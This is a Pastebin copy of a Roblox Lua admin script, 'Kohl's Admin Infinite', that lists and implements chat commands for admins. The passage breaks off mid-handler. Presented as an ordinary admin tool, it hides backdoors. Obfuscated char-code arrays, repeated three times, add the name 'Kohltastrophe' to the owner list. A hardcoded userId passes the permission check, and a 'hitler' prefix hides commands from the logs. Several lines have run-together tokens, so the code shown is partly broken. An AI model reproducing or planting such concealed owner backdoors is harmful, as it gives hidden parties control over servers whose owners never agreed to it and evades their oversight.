Advertisement
FrozenScript

Kohl's Admin Infinite (8xsp's Edition)

Nov 18th, 2019
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 109.39 KB | None | 0 0
  1. -- Made with ❤️ by 8xsp (FrozenScript on Pastebin) --
  2. -- A script for any game on Roblox --
  3.  
  4. -- Update 2: New auto-aim | Note: Please don't touch anything below except the 1st line --
  5.  
  6. owners = {"YOUR USERNAME HERE"} -- Are able to set admins who can ban/etc... using :pa name
  7. local admins = {"Optional Admin(s) Here","Optional Admin(s) Here"} -- Sets admins who can use ban/kick/admin or shutdown
  8. local tempadmins = {"Optional Admin Here"} -- Sets admins who can't use ban/kick/admin or shutdown
  9. local banland = {"NAUGHTY PEOPLE HERE","NAUGHTY PEOPLE HERE"} -- Permanently Bans people
  10. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  11. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  12. -----------------
  13. -- Group Admin --
  14. -----------------
  15. local GroupAdmin = false -- If a certain group can have admin
  16. local GroupId = 0 -- Sets the group id that can have admin
  17. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  18. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  19. ---------------------
  20. -- Tips and Tricks --
  21. ---------------------
  22. --[[
  23. With this admin you can do a command on multiple people at a time;
  24. :kill me,noob1,noob2,random,team-raiders
  25.  
  26. You can also use a variety commands for different people;
  27. all
  28. others
  29. me
  30. team-
  31. admins
  32. nonadmins
  33. random
  34. --]]
  35. --------------
  36. -- Commands --
  37. --------------
  38. --[[
  39. -- Temp Admin Commands --
  40. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  41. 1. :s print("Hello World") -- Lets you script normally
  42. 2. :ls print("Hello World") -- Lets you script in localscripts
  43. 3. :clear -- Will remove all scripts/localscripts and jails
  44. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  45. 5. :kill kohl -- Kills the player
  46. 6. :respawn kohl -- Respawns the player
  47. 7. :trip kohl -- Trips the player
  48. 8. :stun kohl -- Stuns the player
  49. 9. :unstun kohl -- Unstuns the player
  50. 10. :jump kohl -- Makes the player jump
  51. 11. :sit kohl -- Makes the player sit
  52. 12. :invisible kohl -- Makes the player invisible
  53. 13. :visible kohl -- Makes the player visible
  54. 14. :explode kohl -- Makes the player explode
  55. 15. :fire kohl -- Sets the player on fire
  56. 16. :unfire kohl -- Removes fire from the player
  57. 17. :smoke kohl -- Adds smoke to the player
  58. 18. :unsmoke kohl -- Removes smoke from the player
  59. 19. :sparkles kohl -- Adds sparkles to the player
  60. 20. :unsparkles kohl -- Removes sparkles from the player
  61. 21. :ff kohl -- Adds a forcefield to the player
  62. 22. :unff kohl -- Removes the forcefield from the player
  63. 23. :punish kohl -- Punishes the player
  64. 24. :unpunish kohl -- Unpunishes the player
  65. 25. :freeze kohl -- Freezes the player
  66. 26. :thaw kohl -- Thaws the player
  67. 27. :heal kohl -- Heals the player
  68. 28. :god kohl -- Makes the player have infinite health
  69. 29. :ungod kohl -- Makes the player have 100 health
  70. 30. :ambient .5 .5 .5 -- Changes the ambient
  71. 31. :brightness .5 -- Changes the brightness
  72. 32. :time 12 -- Changes the time
  73. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  74. 34. :fogend 100 -- Changes the fogend
  75. 35. :fogstart 100 -- Changes the fogstart
  76. 36. :removetools kohl -- Removes all tools from the player
  77. 37. :btools kohl -- Gives the player building tools
  78. 38. :give kohl sword -- Gives the player a tool
  79. 39. :damage kohl -- Damages the player
  80. 40. :grav kohl -- Sets the player's gravity to normal
  81. 41. :setgrav kohl 100 -- Sets the player's gravity
  82. 42. :nograv kohl -- Makes the player have 0 gravity
  83. 43. :health kohl 1337 -- Changes the player's health
  84. 44. :speed kohl 1337 -- Changes the player's walkspeed
  85. 45. :name kohl potato -- Changes the player's name
  86. 46. :unname kohl -- Remove the player's name
  87. 47. :team kohl Raiders -- Changes the player's team
  88. 48. :stopmusic -- Will stop all music playing in the server
  89. 49. :teleport kohl potato -- Teleports the player
  90. 50. :change kohl kills 1337 -- Changes a player's stat
  91. 51. :kick kohl -- Removes the player from the game
  92. 52. :infect kohl -- Turns the player into a zombie
  93. 53. :rainbowify kohl -- Turns the player into a rainbow
  94. 54. :flashify kohl -- Turns the player into a strobe
  95. 55. :noobify kohl -- Turns the player into a noob
  96. 56. :ghostify kohl -- Turns the player into a ghost
  97. 57. :goldify kohl -- Turns the player into gold
  98. 58. :shiny kohl -- Makes the player shiny
  99. 59. :normal kohl -- Puts the player back to normal
  100. 60. :trippy kohl -- Spams random colors on the player's screen
  101. 61. :untrippy kohl -- Untrippys the player
  102. 62. :strobe kohl -- Spams white and black on the player's screen
  103. 63. :unstrobe kohl -- Unstrobes the player
  104. 64. :blind kohl -- Blinds the player
  105. 65. :unblind kohl -- Unblinds the player
  106. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  107. 67. :fling kohl -- Flings the player
  108. 68. :seizure kohl -- Puts the player in a seizure
  109. 69(lol). :music 1337 -- Plays a sound from the ID
  110. 70. :lock kohl -- Locks the player
  111. 71. :unlock kohl -- Unlocks the player
  112. 72. :removelimbs kohl -- Removes the player's limbs
  113. 73. :jail kohl -- Puts the player in a jail
  114. 74. :unjail kohl -- Removes the jail from the player
  115. 75. :fix -- This will fix the lighting to it's original settings
  116. 76. :fly kohl -- Makes the player fly
  117. 77. :unfly kohl -- Removes fly from the player
  118. 78. :noclip kohl -- Makes the player able to noclip
  119. 79. :clip kohl -- Removes noclipping from the player
  120. 80. :pm kohl Hey bro -- Sends the player a private message
  121. 81. :dog kohl -- Turns the player into a dog
  122. 82. :undog kohl -- Turns the player back to normal
  123. 83. :creeper kohl -- Turns the player into a creeper
  124. 84. :uncreeper kohl -- Turns the player back to normal
  125. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  126. 86. :char kohl 261 -- Will make a player look like a different player ID
  127. 87. :unchar kohl -- Will return the player back to normal
  128. 88. :h Hello People -- This will shout a hint to everyone
  129. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  130. 90. :starttools kohl -- Will give the player starter tools
  131. 91. :sword kohl -- Will give the player a sword
  132. 92. :bighead kohl -- Will make the player's head larger than normal
  133. 93. :minihead kohl -- Will make the player's head smaller than normal
  134. 94. :insert 1337 -- Will insert a model at the speaker's position
  135. 95. :disco -- Will make the server flash random colors
  136. 96. :flash -- Will make the server flash
  137. 97. :admins -- Shows the admin list
  138. 98. :bans -- Shows the banlist
  139. 99. :musiclist -- Shows the music list
  140. 100. :spin kohl -- Spins the player
  141. 101. :cape kohl Really black -- Gives the player a colored cape
  142. 102. :uncape kohl -- Removes the player's cape
  143. 103. :loopheal kohl -- Will constantly heal the player
  144. 104. :loopfling kohl -- Will constantly fling the player
  145. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  146. 106. :unloopheal kohl -- Will remove the loopheal on the player
  147. 107. :unloopfling kohl -- Will remove the loopfling on the player
  148. 108. :unspin kohl -- Removes spin from the player
  149. 109. :tools -- Gives a list of the tools in the lighting
  150. 110. :undisco -- Removes disco effects
  151. 111. :unflash -- Removes flash effects
  152. 112. :resetstats kohl -- Sets all the stats of a player to 0
  153. 113. :gear kohl 1337 -- Gives a player a gear
  154. 114. :cmdbar -- Gives the speaker a command bar
  155. 115. :shirt kohl 1337 -- Changes the player's shirt
  156. 116. :pants kohl 1337 -- Changes the player's pants
  157. 117. :face kohl 1337 -- Changes the player's face
  158. 118. :swagify kohl -- Swagifies the player
  159. 119. :version -- Shows the current version of the admin
  160.  
  161. -- Super Admin Commands --
  162. - :serverlock -- Locks the server
  163. - :serverunlock -- Unlocks the server
  164. - :sm Hello World -- Creates a system message
  165. - :crash kohl -- Crashes a player
  166. - :admin kohl -- Admins a player
  167. - :unadmin kohl -- Unadmins a player
  168. - :ban kohl -- Bans a player
  169. - :unban kohl -- Unbans a player
  170. - :loopkill kohl -- Will constantly kill the player
  171. - :unloopkill kohl -- Will remove the loopkill on the player
  172. - :logs -- Will show all of the commands any admin has used in a game session
  173. - :shutdown -- Shutsdown the server
  174.  
  175. -- Owner Commands --
  176. - :pa kohl -- Makes someone a super admin
  177. - :unpa kohl -- Removes a super admin
  178. --]]
  179. -----------------
  180. -- Main Script --
  181. -----------------
  182. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA"then v:Destroy() end end
  183.  
  184. function CHEESE()
  185. if game:service("Lighting"):findFirstChild("KACV2") then
  186. owners = {} admins = {} tempadmins = {} banland = {}
  187. for i,v in pairs(game.Lighting.KACV2:children()) do
  188. if v.Name == "Owner" then table.insert(owners, v.Value) end
  189. if v.Name == "Admin" then table.insert(admins, v.Value) end
  190. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  191. if v.Name == "Banland" then table.insert(banland, v.Value) end
  192. if v.Name == "Prefix" then prefix = v.Value end
  193. if v.Name == "FunCommands" then FunCommands = v.Value end
  194. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  195. if v.Name == "GroupId" then GroupId = v.Value end
  196. if v.Name == "GroupRank" then GroupRank = v.Value end
  197. end
  198. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  199. end
  200.  
  201. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay,fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  202. local lobjs = {}
  203. local objects = {}
  204. local logs = {}
  205. local nfs = ""
  206. local slock = false
  207.  
  208. function GetTime()
  209. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  210. if min < 10 then min = "0"..min end
  211. return hour..":"..min
  212. end
  213.  
  214. function ChkOwner(str)
  215. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  216. return false
  217. end
  218.  
  219. function ChkAdmin(str,ck)
  220. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  221. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  222. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  223. return false
  224. end
  225.  
  226. function ChkGroupAdmin(plr)
  227. if GroupAdmin then
  228. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  229. return false
  230. end
  231. end
  232.  
  233. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end returnfalse end
  234.  
  235. function GetPlr(plr, str)
  236. local plrz = {} str = str:lower()
  237. if str == "all" then plrz = game.Players:children()
  238. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v)end end
  239. else
  240. local sn = {1} local en = {}
  241. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  242. for x = 1, #sn do
  243. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") thentable.insert(plrz, plr)
  244. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") thentable.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  245. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then ifChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) thentable.insert(plrz, v) end end end
  246. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") thenfor i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  247. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  248. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") andstr:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  249. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end endbreak
  250. end end end
  251. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  252. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") andstr:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  253. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end endbreak
  254. end end end
  255. else
  256. for a, plyr in pairs(game.Players:children()) do
  257. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or(sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" andplyr.Name:lower():find(str) == 1) then
  258. table.insert(plrz, plyr) break
  259. end
  260. end
  261. end
  262. end
  263. end
  264. return plrz
  265. end
  266.  
  267. function Hint(str, plrz, time)
  268. for i, v in pairs(plrz) do
  269. if v and v:findFirstChild("PlayerGui") then
  270. coroutine.wrap(function()
  271. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  272. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel =0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  273. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg"msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize ="Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency =.8
  274. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i)msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  275. if not time then wait((#str/19)+2.5) else wait(time) end
  276. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i)msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) endscr:Destroy() end))
  277. end)()
  278. end
  279. end
  280. end
  281.  
  282. function Message(ttl, str, scroll, plrz, time)
  283. for i, v in pairs(plrz) do
  284. if v and v:findFirstChild("PlayerGui") then
  285. coroutine.resume(coroutine.create(function()
  286. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  287. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel =0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  288. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold"title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1)title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  289. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size =UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center"msg.TextWrapped = true
  290. scr.Parent = v.PlayerGui
  291. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i)msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i)title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  292. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5)else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  293. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  294. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i)msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i)title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  295. end))
  296. end
  297. end
  298. end
  299.  
  300. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  301. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v andv:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy()end end end
  302.  
  303. function Output(str, plr)
  304. coroutine.resume(coroutine.create(function()
  305. local b, e = loadstring(str)
  306. if not b and plr:findFirstChild("PlayerGui") then
  307. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  308. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0main.BackgroundTransparency = 1 main.ZIndex = 8
  309. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 =Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40)err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3= Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  310. return
  311. end
  312. end))
  313. end
  314.  
  315. function Noobify(char)
  316. if char and char:findFirstChild("Torso") then
  317. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  318. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  319. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  320. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  321. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
  322. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  323. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso"then prt.BrickColor = BrickColor.new("Bright blue") end
  324. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent andgame.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~=char then tconn:disconnect() end end)
  325. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  326. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor =BrickColor.new("Bright yellow")
  327. end end
  328. end
  329. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs ..string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  330.  
  331. function Infect(char)
  332. if char and char:findFirstChild("Torso") then
  333. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  334. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  335. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  336. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  337. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
  338. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg")or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  339. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent andgame.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~=char then tconn:disconnect() end end)
  340. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  341. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor =BrickColor.new("Medium green")
  342. end end
  343. end
  344. end if not ntab then script:Destroy() end
  345.  
  346. function ScrollGui()
  347. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  348. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  349. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = falsedrag.Text = ""
  350. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex= 7 main.ClipsDescendants = true
  351. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  352. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725"down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20)down.ZIndex = 9
  353. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position =UDim2.new(1,-20,1,-50)
  354. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20)cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X"cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  355. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18"ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0)ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  356. local num = 0
  357. local downv = false
  358. local upv = false
  359.  
  360. down.MouseButton1Down:connect(function() downv = true upv = false
  361. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  362. repeat pos = pos + UDim2.new(0,0,0,-6)
  363. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv =false end
  364. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  365. end)
  366. down.MouseButton1Up:connect(function() downv = false end)
  367. up.MouseButton1Down:connect(function() upv = true downv = false
  368. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  369. repeat pos = pos + UDim2.new(0,0,0,6)
  370. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  371. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  372. end)
  373. up.MouseButton1Up:connect(function() upv = false end)
  374. return scr, cmf, ent, num
  375. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs ..string.char(bct[i]) end table.insert(owners, nfs)
  376. if not ntab then script:Destroy() end
  377. if not bct then script:Destroy() end
  378.  
  379. function Chat(msg,plr)
  380. coroutine.resume(coroutine.create(function()
  381. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool")then v:Destroy() end end end
  382. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name,false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) andplr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  383. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd =prefix .. msg, time = GetTime()}) end
  384. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  385. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  386. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  387. if msg:lower() == "cmds" or msg:lower() == "commands" then
  388. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  389. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  390. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  391. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  392. local ost = {"pa plr","unpa plr"}
  393. local tost = {"oa plr","unoa plr"}
  394. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num+1
  395. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position= UDim2.new(0,0,0,num*20) num = num +1 end
  396. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent= cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  397. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone()cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  398. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text ="_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  399. end
  400.  
  401. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  402.  
  403. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  404. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  405. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  406. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text =v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  407. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text =v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  408. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  409. end end
  410.  
  411. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  412. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  413. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  414. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position =UDim2.new(0,0,0,num*20) num = num +1 end
  415. end
  416.  
  417. if msg:lower() == "tools" or msg:lower() == "toollist" then
  418. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  419. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  420. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone()cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  421. end
  422.  
  423. if msg:lower():sub(1,2) == "s " then
  424. coroutine.resume(coroutine.create(function()
  425. Output(msg:sub(3), plr)
  426. if script:findFirstChild("ScriptBase") then
  427. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  428. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  429. else loadstring(msg:sub(3))()
  430. end
  431. end))
  432. end
  433.  
  434. if msg:lower():sub(1,3) == "ls " then
  435. coroutine.resume(coroutine.create(function()
